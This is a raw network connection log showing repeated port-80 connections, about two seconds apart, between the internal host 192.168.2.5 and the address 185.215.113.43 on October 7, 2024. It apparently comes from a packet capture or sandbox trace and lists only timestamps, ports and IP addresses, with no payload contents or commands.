Oct 7, 2024 13:31:08.203279018 CEST	80	50132	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:08.203324080 CEST	50131	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:08.203392029 CEST	50132	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:08.203538895 CEST	50132	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:08.208296061 CEST	80	50132	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:08.898174047 CEST	80	50132	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:08.900305033 CEST	50132	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:10.524955988 CEST	50132	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:10.525408030 CEST	50133	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:10.656238079 CEST	80	50133	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:10.656256914 CEST	80	50132	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:10.656348944 CEST	50133	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:10.656462908 CEST	50132	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:10.656656981 CEST	50133	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:10.661454916 CEST	80	50133	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:11.365787983 CEST	80	50133	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:11.365907907 CEST	50133	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:12.884557009 CEST	50133	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:12.884862900 CEST	50134	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:12.889689922 CEST	80	50134	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:12.889743090 CEST	80	50133	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:12.892319918 CEST	50133	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:12.892319918 CEST	50134	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:12.892556906 CEST	50134	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:12.897361040 CEST	80	50134	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:13.591973066 CEST	80	50134	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:13.592308998 CEST	50134	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:15.199270010 CEST	50135	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:15.199279070 CEST	50134	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:15.204370975 CEST	80	50135	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:15.204639912 CEST	80	50134	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:15.206923008 CEST	50135	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:15.206937075 CEST	50134	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:15.207062960 CEST	50135	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:15.212129116 CEST	80	50135	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:15.906959057 CEST	80	50135	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:15.907040119 CEST	50135	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:17.415113926 CEST	50135	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:17.416268110 CEST	50136	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:17.420326948 CEST	80	50135	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:17.421159029 CEST	80	50136	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:17.423674107 CEST	50135	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:17.423672915 CEST	50136	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:17.423823118 CEST	50136	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:17.428670883 CEST	80	50136	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:18.138993979 CEST	80	50136	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:18.139065981 CEST	50136	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:19.743514061 CEST	50136	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:19.744273901 CEST	50137	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:19.749218941 CEST	80	50136	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:19.749233961 CEST	80	50137	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:19.752360106 CEST	50137	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:19.752363920 CEST	50136	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:19.752568960 CEST	50137	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:19.757343054 CEST	80	50137	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:20.456340075 CEST	80	50137	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:20.456413031 CEST	50137	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:21.963452101 CEST	50137	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:21.963859081 CEST	50138	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:21.968938112 CEST	80	50137	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:21.968961000 CEST	80	50138	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:21.968997955 CEST	50137	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:21.969057083 CEST	50138	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:21.969459057 CEST	50138	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:21.974620104 CEST	80	50138	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:22.682841063 CEST	80	50138	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:22.682909012 CEST	50138	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:24.307121992 CEST	50138	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:24.307498932 CEST	50139	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:24.312369108 CEST	80	50139	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:24.312407017 CEST	80	50138	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:24.312455893 CEST	50139	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:24.312490940 CEST	50138	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:24.312710047 CEST	50139	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:24.317584991 CEST	80	50139	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:25.035614014 CEST	80	50139	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:25.035729885 CEST	50139	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:26.540862083 CEST	50139	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:26.541265965 CEST	50140	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:26.546005964 CEST	80	50139	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:26.546071053 CEST	80	50140	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:26.546070099 CEST	50139	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:26.546139956 CEST	50140	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:26.546381950 CEST	50140	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:26.551145077 CEST	80	50140	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:27.273475885 CEST	80	50140	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:27.273602009 CEST	50140	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:28.885791063 CEST	50140	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:28.888344049 CEST	50141	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:28.891341925 CEST	80	50140	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:28.891573906 CEST	50140	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:28.893198967 CEST	80	50141	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:28.896450043 CEST	50141	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:28.896748066 CEST	50141	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:28.901493073 CEST	80	50141	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:29.586378098 CEST	80	50141	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:29.586504936 CEST	50141	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:31.103908062 CEST	50142	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:31.103908062 CEST	50141	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:31.108958006 CEST	80	50142	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:31.109061956 CEST	80	50141	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:31.109165907 CEST	50142	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:31.109165907 CEST	50141	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:31.109467030 CEST	50142	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:31.114407063 CEST	80	50142	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:31.821365118 CEST	80	50142	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:31.821476936 CEST	50142	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:33.447310925 CEST	50142	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:33.447341919 CEST	50143	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:33.452344894 CEST	80	50143	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:33.453648090 CEST	80	50142	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:33.456465006 CEST	50142	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:33.456732988 CEST	50143	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:33.456732988 CEST	50143	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:33.461642981 CEST	80	50143	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:34.156507015 CEST	80	50143	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:34.156574965 CEST	50143	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:35.666511059 CEST	50143	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:35.667145967 CEST	50144	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:35.672029972 CEST	80	50143	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:35.672055006 CEST	80	50144	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:35.672192097 CEST	50143	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:35.672192097 CEST	50144	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:35.672460079 CEST	50144	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:35.677247047 CEST	80	50144	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:36.381623030 CEST	80	50144	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:36.381688118 CEST	50144	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:38.010638952 CEST	50144	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:38.011082888 CEST	50145	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:38.015921116 CEST	80	50144	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:38.015939951 CEST	80	50145	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:38.015980005 CEST	50144	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:38.016030073 CEST	50145	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:38.016172886 CEST	50145	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:38.020880938 CEST	80	50145	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:38.705774069 CEST	80	50145	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:38.705848932 CEST	50145	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:40.213804007 CEST	50145	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:40.214279890 CEST	50146	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:40.219132900 CEST	80	50145	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:40.219196081 CEST	50145	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:40.219196081 CEST	80	50146	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:40.219279051 CEST	50146	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:40.219568968 CEST	50146	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:40.224405050 CEST	80	50146	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:41.014177084 CEST	80	50146	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:41.014724970 CEST	50146	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:42.638669014 CEST	50146	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:42.639030933 CEST	50147	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:42.644095898 CEST	80	50146	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:42.644114017 CEST	80	50147	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:42.644159079 CEST	50146	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:42.644258976 CEST	50147	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:42.645889044 CEST	50147	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:42.650796890 CEST	80	50147	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:44.128748894 CEST	80	50147	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:44.128806114 CEST	50147	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:44.128832102 CEST	80	50147	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:44.128874063 CEST	50147	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:44.128925085 CEST	80	50147	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:44.128963947 CEST	50147	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:45.635509014 CEST	50147	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:45.635509014 CEST	50148	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:45.797250986 CEST	80	50148	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:45.797302008 CEST	80	50147	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:45.800586939 CEST	50147	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:45.800601959 CEST	50148	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:45.800882101 CEST	50148	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:45.805855036 CEST	80	50148	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:46.504376888 CEST	80	50148	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:46.504453897 CEST	50148	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:48.121438026 CEST	50148	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:48.121783018 CEST	50149	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:48.126730919 CEST	80	50149	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:48.126748085 CEST	80	50148	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:48.126808882 CEST	50149	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:48.126853943 CEST	50148	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:48.127213955 CEST	50149	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:48.131956100 CEST	80	50149	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:49.097800016 CEST	80	50149	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:49.098047972 CEST	80	50149	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:49.098670006 CEST	50149	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:50.604060888 CEST	50149	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:50.604243994 CEST	50150	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:50.609744072 CEST	80	50150	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:50.609790087 CEST	80	50149	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:50.609853983 CEST	50150	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:50.609885931 CEST	50149	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:50.610152960 CEST	50150	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:50.615027905 CEST	80	50150	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:51.304862022 CEST	80	50150	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:51.305243969 CEST	50150	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:52.931539059 CEST	50151	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:52.931539059 CEST	50150	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:52.936644077 CEST	80	50151	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:52.936834097 CEST	80	50150	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:52.937026024 CEST	50151	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:52.937025070 CEST	50150	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:52.940552950 CEST	50151	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:52.945514917 CEST	80	50151	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:53.649184942 CEST	80	50151	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:53.652661085 CEST	50151	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:55.166209936 CEST	50152	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:55.166232109 CEST	50151	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:55.171624899 CEST	80	50152	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:55.171834946 CEST	80	50151	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:55.174689054 CEST	50152	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:55.174702883 CEST	50151	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:55.174923897 CEST	50152	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:55.179924965 CEST	80	50152	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:55.879693985 CEST	80	50152	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:55.879782915 CEST	50152	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:57.509408951 CEST	50152	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:57.509792089 CEST	50153	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:57.514614105 CEST	80	50152	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:57.514642000 CEST	80	50153	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:57.514759064 CEST	50153	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:57.514763117 CEST	50152	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:57.518959999 CEST	50153	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:57.524205923 CEST	80	50153	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:58.214097977 CEST	80	50153	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:58.214154005 CEST	50153	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:59.727667093 CEST	50153	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:59.728028059 CEST	50154	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:59.805789948 CEST	80	50154	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:59.805802107 CEST	80	50153	185.215.113.43	192.168.2.5
Oct 7, 2024 13:31:59.805928946 CEST	50154	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:59.805928946 CEST	50153	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:59.806255102 CEST	50154	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:31:59.811054945 CEST	80	50154	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:00.499599934 CEST	80	50154	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:00.499666929 CEST	50154	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:02.119849920 CEST	50154	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:02.120249033 CEST	50155	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:02.124910116 CEST	80	50154	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:02.124965906 CEST	50154	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:02.125103951 CEST	80	50155	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:02.125194073 CEST	50155	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:02.125539064 CEST	50155	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:02.130315065 CEST	80	50155	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:02.840547085 CEST	80	50155	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:02.840605021 CEST	50155	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:04.357418060 CEST	50156	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:04.357562065 CEST	50155	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:04.686595917 CEST	80	50156	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:04.686618090 CEST	80	50155	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:04.686685085 CEST	50156	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:04.686741114 CEST	50155	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:04.687041998 CEST	50156	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:04.694361925 CEST	80	50156	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:05.395593882 CEST	80	50156	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:05.395703077 CEST	50156	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:07.009529114 CEST	50156	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:07.009919882 CEST	50157	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:07.189656019 CEST	80	50157	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:07.189677000 CEST	80	50156	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:07.189752102 CEST	50157	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:07.189785004 CEST	50156	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:07.190037966 CEST	50157	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:07.194991112 CEST	80	50157	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:07.876427889 CEST	80	50157	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:07.876569986 CEST	50157	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:09.384668112 CEST	50157	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:09.384864092 CEST	50158	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:09.390007019 CEST	80	50158	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:09.390177965 CEST	80	50157	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:09.390280008 CEST	50157	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:09.390280008 CEST	50158	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:09.392829895 CEST	50158	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:09.397732973 CEST	80	50158	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:10.091784954 CEST	80	50158	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:10.091851950 CEST	50158	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:11.713752031 CEST	50158	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:11.714734077 CEST	50159	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:11.718997955 CEST	80	50158	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:11.719615936 CEST	80	50159	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:11.722836971 CEST	50158	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:11.722836971 CEST	50159	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:11.722995043 CEST	50159	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:11.727719069 CEST	80	50159	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:12.433034897 CEST	80	50159	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:12.433092117 CEST	50159	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:13.948983908 CEST	50159	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:13.949462891 CEST	50160	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:13.954390049 CEST	80	50159	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:13.954457045 CEST	50159	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:13.954869032 CEST	80	50160	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:13.954958916 CEST	50160	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:13.955127954 CEST	50160	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:13.960191011 CEST	80	50160	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:15.087376118 CEST	80	50160	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:15.087553978 CEST	80	50160	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:15.087578058 CEST	50160	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:15.087753057 CEST	50160	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:15.087788105 CEST	80	50160	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:15.087893009 CEST	50160	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:16.713346004 CEST	50160	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:16.713699102 CEST	50161	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:16.718419075 CEST	80	50160	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:16.718473911 CEST	50160	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:16.718575001 CEST	80	50161	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:16.718641043 CEST	50161	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:16.718857050 CEST	50161	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:16.723795891 CEST	80	50161	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:17.430398941 CEST	80	50161	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:17.432816982 CEST	50161	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:18.947592974 CEST	50161	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:18.948007107 CEST	50162	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:18.952738047 CEST	80	50161	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:18.952872992 CEST	50161	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:18.953075886 CEST	80	50162	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:18.953155994 CEST	50162	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:18.953279972 CEST	50162	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:18.958264112 CEST	80	50162	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:19.668437004 CEST	80	50162	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:19.668616056 CEST	50162	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:21.291356087 CEST	50162	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:21.291723013 CEST	50163	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:21.296487093 CEST	80	50162	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:21.296669960 CEST	80	50163	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:21.298901081 CEST	50162	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:21.298902035 CEST	50163	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:21.299073935 CEST	50163	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:21.303868055 CEST	80	50163	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:22.001249075 CEST	80	50163	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:22.001315117 CEST	50163	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:23.510971069 CEST	50163	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:23.511779070 CEST	50164	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:23.516122103 CEST	80	50163	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:23.516690016 CEST	80	50164	185.215.113.43	192.168.2.5
Oct 7, 2024 13:32:23.516760111 CEST	50163	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:23.516876936 CEST	50164	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:32:23.517884016 CEST	50164	80	192.168.2.5	185.215.113.43
